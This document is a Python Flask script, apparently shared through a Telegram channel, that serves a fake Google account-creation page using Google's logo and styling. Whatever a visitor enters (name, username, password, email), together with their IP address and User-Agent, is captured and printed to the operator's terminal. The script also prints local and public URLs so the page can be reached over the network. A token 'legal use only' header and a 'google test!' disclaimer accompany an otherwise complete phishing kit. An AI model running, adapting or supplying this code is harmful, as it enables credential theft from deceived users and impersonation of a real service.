ИСПОЛЬЗУЙ ТОЛЬКО В ЗАКОННЫХ ЦЕЛЯХ!
#t.me/+q6DmznnizmM2NDY6
import socket
import smtplib
import re
import requests
import threading
import os
import signal
import sys
import subprocess
from time import sleep
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from flask import Flask, render_template_string, request, jsonify
from getpass import getpass
import random
app = Flask(__name__)
def kill_previous_server(port):
try:
if sys.platform == 'win32':
result = subprocess.run(
['netstat', '-ano', '|', 'findstr', str(port)],
capture_output=True, text=True, shell=True)
if result.returncode == 0:
for line in result.stdout.splitlines():
if f':{port}' in line:
pid = line.strip().split()[-1]
os.kill(int(pid), signal.SIGTERM)
sleep(1)
else:
result = subprocess.run(
['lsof', '-ti', f':{port}'],
capture_output=True, text=True)
if result.stdout:
pids = result.stdout.strip().split()
for pid in pids:
os.kill(int(pid), signal.SIGTERM)
sleep(1)
except Exception as e:
print(f"Ошибка при завершении предыдущего сервера: {e}")
def get_random_port():
return random.randint(49152, 65535)
#by fps
def get_network_info(port):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
local_ip = s.getsockname()[0]
s.close()
try:
public_ip = requests.get('https://api.ipify.org', timeout=3).text
except:
public_ip = None
print("\n=== Доступ к серверу ===")
print(f"1. Этот компьютер: http://localhost:{port}")
print(f"2. Локальная сеть: http://{local_ip}:{port} - лучший вариант")
if public_ip:
print(f"3. Интернет: http://{public_ip}:{port}")
print("="*30 + "\n")
def send_to_terminal(data):
print("\n=== НОВАЯ РЕГИСТРАЦИЯ ===")
print(f"Имя и фамилия: {data['firstName']} {data['lastName']}")
print(f"Логин: {data['username']}")
print(f"Пароль: {data['password']}")
print(f"Email: {data['email']}")
print(f"IP пользователя: {request.remote_addr}")
print(f"User-Agent: {request.headers.get('User-Agent')}")
print("="*30 + "\n")
return True
HTML_TEMPLATE = """
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Создайте ТЕСТОВЫЙ аккаунт Google</title>
<style>
body {
font-family: 'Google Sans', Arial, sans-serif;
background-color: #f5f5f5;
margin: 0;
padding: 0;
display: flex;
justify-content: center;
color: #202124;
}
.container {
background-color: white;
border-radius: 8px;
border: 1px solid #dadce0;
box-sizing: border-box;
margin: 40px 0;
padding: 48px 40px 36px;
width: 450px;
text-align: center;
box-shadow: 0 6px 32px 0 rgba(60,64,67,.15);
}
.logo {
margin-bottom: 20px;
}
.logo img {
height: 24px;
}
h1 {
font-size: 24px;
font-weight: 400;
margin: 15px 0;
}
.subtitle {
font-size: 16px;
font-weight: 400;
color: #5f6368;
margin-bottom: 24px;
}
.form-group {
margin-bottom: 20px;
text-align: left;
}
input {
width: 100%;
padding: 13px 15px;
border: 1px solid #dadce0;
border-radius: 4px;
font-size: 16px;
box-sizing: border-box;
transition: border 0.2s;
}
input:focus {
border-color: #1a73e8;
outline: none;
}
.name-fields {
display: flex;
gap: 10px;
}
button {
background-color: #1a73e8;
color: white;
border: none;
padding: 10px 24px;
border-radius: 4px;
font-size: 14px;
font-weight: 500;
cursor: pointer;
margin-top: 10px;
width: 100%;
height: 40px;
position: relative;
}
button:disabled {
background-color: #b4d2fa;
color: #f5f5f5;
cursor: not-allowed;
}
.loading-spinner {
display: none;
position: absolute;
right: 16px;
top: 50%;
transform: translateY(-50%);
width: 18px;
height: 18px;
border: 3px solid #fff;
border-top: 3px solid #1a73e8;
border-radius: 50%;
animation: spin 1s linear infinite;
}
button.loading .loading-spinner {
display: inline-block;
}
@keyframes spin {
0% { transform: translateY(-50%) rotate(0deg);}
100% { transform: translateY(-50%) rotate(360deg);}
}
.footer {
margin-top: 30px;
font-size: 12px;
color: #5f6368;
border-top: 1px solid #dadce0;
padding-top: 20px;
}
.disclaimer {
font-size: 11px;
color: #5f6368;
margin-top: 40px;
line-height: 1.5;
}
</style>
</head>
<body>
<div class="container">
<div class="logo">
<img src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_color_112x36dp.png" alt="Google">
</div>
<h1>Создайте аккаунт</h1>
<div class="subtitle">Продолжите, чтобы использовать сервисы google</div>
<form id="regForm" onsubmit="submitForm(event)">
<div class="name-fields">
<div class="form-group">
<input type="text" id="firstName" name="firstName" placeholder="Имя" required>
</div>
<div class="form-group">
<input type="text" id="lastName" name="lastName" placeholder="Фамилия" required>
</div>
</div>
<div class="form-group">
<input type="text" id="username" name="username" placeholder="Имя пользователя" required>
</div>
<div class="form-group">
<input type="password" id="password" name="password" placeholder="Пароль" required>
</div>
<div class="form-group">
<input type="email" id="email" name="email" placeholder="Электронная почта" required>
</div>
<button type="submit" id="submitBtn">
<span>Далее</span>
<span class="loading-spinner"></span>
</button>
</form>
<div class="footer">
<div class="disclaimer">
google test!
</div>
</div>
</div>
<script>
function submitForm(e) {
e.preventDefault();
const btn = document.getElementById('submitBtn');
btn.disabled = true;
btn.classList.add('loading');
const data = {
firstName: document.getElementById('firstName').value,
lastName: document.getElementById('lastName').value,
username: document.getElementById('username').value,
password: document.getElementById('password').value,
email: document.getElementById('email').value,
contactMethod: 'email'
};
fetch('/register', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(data)
})
.then(response => response.json())
.then(data => {
btn.disabled = false;
btn.classList.remove('loading');
if (data.status === 'success') {
alert('Регистрация завершена');
} else {
alert('Ошибка: ' + (data.error || 'Неизвестная ошибка'));
}
})
.catch(error => {
btn.disabled = false;
btn.classList.remove('loading');
alert('Ошибка соединения с сервером');
console.error(error);
});
}
</script>
</body>
</html>
"""
@app.route('/')
def home():
return render_template_string(HTML_TEMPLATE)
@app.route('/shutdown', methods=['POST'])
def shutdown():
stop_server()
return 'Сервер останавливается...', 200
@app.route('/register', methods=['POST'])
def register():
data = request.get_json()
if not all([data.get('firstName'), data.get('lastName'), data.get('username'),
data.get('password'), data.get('email')]):
return jsonify({'error': 'Заполните все поля'}), 400
if not re.match(r'[^@]+@[^@]+\.[^@]+', data.get('email', '')):
return jsonify({'error': 'Некорректный email'}), 400
if send_to_terminal(data):
return jsonify({'status': 'success'})
else:
return jsonify({'error': 'Ошибка отправки данных'}), 500
def run_server():
port = get_random_port()
kill_previous_server(port)
host = '0.0.0.0'
get_network_info(port)
print("Сервер запущен. by FPS | t.me/+q6DmznnizmM2NDY6")
app.run(host=host, port=port, debug=False)
run_server()
#t.me/+q6DmznnizmM2NDY6